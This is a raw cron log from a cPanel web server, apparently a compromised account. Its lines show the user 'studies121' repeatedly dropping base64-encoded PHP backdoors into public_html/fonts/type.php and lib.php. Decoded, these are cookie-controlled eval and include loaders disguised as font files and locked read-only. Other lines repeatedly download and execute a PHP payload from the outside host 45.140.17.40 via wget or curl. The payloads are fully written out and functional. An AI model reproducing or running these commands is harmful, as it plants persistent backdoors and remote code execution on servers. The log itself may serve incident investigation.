Sep  6 05:11:01 ip-184-168-122-23 CROND[17499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:11:01 ip-184-168-122-23 CROND[17502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:11:01 ip-184-168-122-23 CROND[17501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:12:01 ip-184-168-122-23 CROND[17657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:12:01 ip-184-168-122-23 CROND[17658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:12:01 ip-184-168-122-23 CROND[17661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:12:01 ip-184-168-122-23 CROND[17662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:12:01 ip-184-168-122-23 CROND[17659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:13:01 ip-184-168-122-23 CROND[17787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:13:01 ip-184-168-122-23 CROND[17788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:13:01 ip-184-168-122-23 CROND[17789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:13:01 ip-184-168-122-23 CROND[17790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:14:01 ip-184-168-122-23 CROND[17976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:14:01 ip-184-168-122-23 CROND[17979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:14:01 ip-184-168-122-23 CROND[17978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:14:01 ip-184-168-122-23 CROND[17980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:14:01 ip-184-168-122-23 CROND[17981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:15:01 ip-184-168-122-23 CROND[18258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:15:01 ip-184-168-122-23 CROND[18259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:15:01 ip-184-168-122-23 CROND[18257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:15:02 ip-184-168-122-23 CROND[18261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:15:02 ip-184-168-122-23 CROND[18262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:15:02 ip-184-168-122-23 CROND[18263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:16:01 ip-184-168-122-23 CROND[18367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:16:01 ip-184-168-122-23 CROND[18370]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:16:01 ip-184-168-122-23 CROND[18372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:16:01 ip-184-168-122-23 CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:16:01 ip-184-168-122-23 CROND[18373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:16:01 ip-184-168-122-23 CROND[18374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:17:01 ip-184-168-122-23 CROND[18458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:17:01 ip-184-168-122-23 CROND[18460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:17:01 ip-184-168-122-23 CROND[18461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:17:01 ip-184-168-122-23 CROND[18463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:18:01 ip-184-168-122-23 CROND[18552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:18:01 ip-184-168-122-23 CROND[18556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:18:01 ip-184-168-122-23 CROND[18555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:18:01 ip-184-168-122-23 CROND[18554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:18:01 ip-184-168-122-23 CROND[18557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:19:01 ip-184-168-122-23 CROND[18730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:19:01 ip-184-168-122-23 CROND[18732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:19:01 ip-184-168-122-23 CROND[18731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:19:01 ip-184-168-122-23 CROND[18734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:20:02 ip-184-168-122-23 CROND[18815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:20:02 ip-184-168-122-23 CROND[18818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:20:02 ip-184-168-122-23 CROND[18819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:20:02 ip-184-168-122-23 CROND[18823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:20:02 ip-184-168-122-23 CROND[18820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 05:20:02 ip-184-168-122-23 CROND[18822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:20:02 ip-184-168-122-23 CROND[18821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:20:02 ip-184-168-122-23 CROND[18824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:20:02 ip-184-168-122-23 CROND[18825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:21:01 ip-184-168-122-23 CROND[19073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:21:01 ip-184-168-122-23 CROND[19074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:21:01 ip-184-168-122-23 CROND[19076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:21:01 ip-184-168-122-23 CROND[19077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:22:01 ip-184-168-122-23 CROND[19303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:22:01 ip-184-168-122-23 CROND[19305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:22:01 ip-184-168-122-23 CROND[19304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:22:01 ip-184-168-122-23 CROND[19306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:22:01 ip-184-168-122-23 CROND[19307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:23:01 ip-184-168-122-23 CROND[19414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:23:01 ip-184-168-122-23 CROND[19417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:23:01 ip-184-168-122-23 CROND[19418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
